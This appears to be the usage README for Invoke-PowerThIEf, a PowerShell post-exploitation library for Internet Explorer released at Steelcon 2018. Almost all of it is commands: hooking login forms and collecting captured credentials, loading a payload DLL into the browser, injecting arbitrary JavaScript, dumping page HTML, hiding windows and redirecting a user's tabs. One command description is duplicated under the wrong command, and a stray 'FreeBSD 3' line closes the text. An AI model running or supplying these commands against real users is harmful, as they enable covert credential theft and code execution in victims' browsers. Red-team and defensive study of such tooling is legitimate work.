An IE Post Exploitation Library released at Steelcon in Sheffield 7th July 2018.
Written by Rob Maslen @rbmaslen
First import the module using . .\Invoke-PowerThIEf.ps1 then use any of the following commands.
List URLs for all current IE browser sessions, result will contain the BrowserIndex used by other actions
Invoke-PowerThIEf -action ListUrls
Automatically scan any windows or tabs for login forms and then record what gets posted. A notification will appear when some have arrived.
Invoke-PowerThIEf -action HookLoginForms
Invoke-PowerThIEf -action Creds
Invoke-PowerThIEf -action ExecPayload -PathPayload <path to the payload DLL(x64)>
Invoke-PowerThIEf -action InvokeJS -Script <JavaScript to run>
Invoke-PowerThIEf -action InvokeJS -Script 'alert(document.location.href);'
Invoke-PowerThIEf -action InvokeJS -BrowserIndex <BrowserIndex> -Script\<JavaScript to run>
Invoke-PowerThIEf -action DumpHtml
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex>
Dump HTML from all tags of <type> in the DOM of the selected IE window or tab. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType tag -Selector <type>
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType tag -Selector div
Dump HTML from any tag with the <id> found in the DOM of the selected IE window or tab. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType id -Selector <id>
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType id -Selector idfirstdiv
Dump HTML from any tag with the <name> found in the DOM of the selected IE window or tab. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType name -Selector <name>
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType name -Selector namefirstdiv
Invoke-PowerThIEf -action ShowWindow
Invoke-PowerThIEf -action ShowWindow -BrowserIndex <BrowserIndex>
Invoke-PowerThIEf -action HideWindow
Invoke-PowerThIEf -action HideWindow -BrowserIndex <BrowserIndex>
Invoke-PowerThIEf -action Navigate -NavigateUrl <URL>
Navigate all currently opened IE windows/tabs to the <URL>. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action Navigate -BrowserIndex <BrowserIndex> -NavigateUrl <URL>
Navigate all currently opened IE windows/tabs to the <URL>. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action Navigate -BrowserIndex <BrowserIndex> -NavigateUrl <URL>
Invoke-PowerThIEf -action NewBackgroundTab -BrowserIndex <BrowserIndex>
FreeBSD 3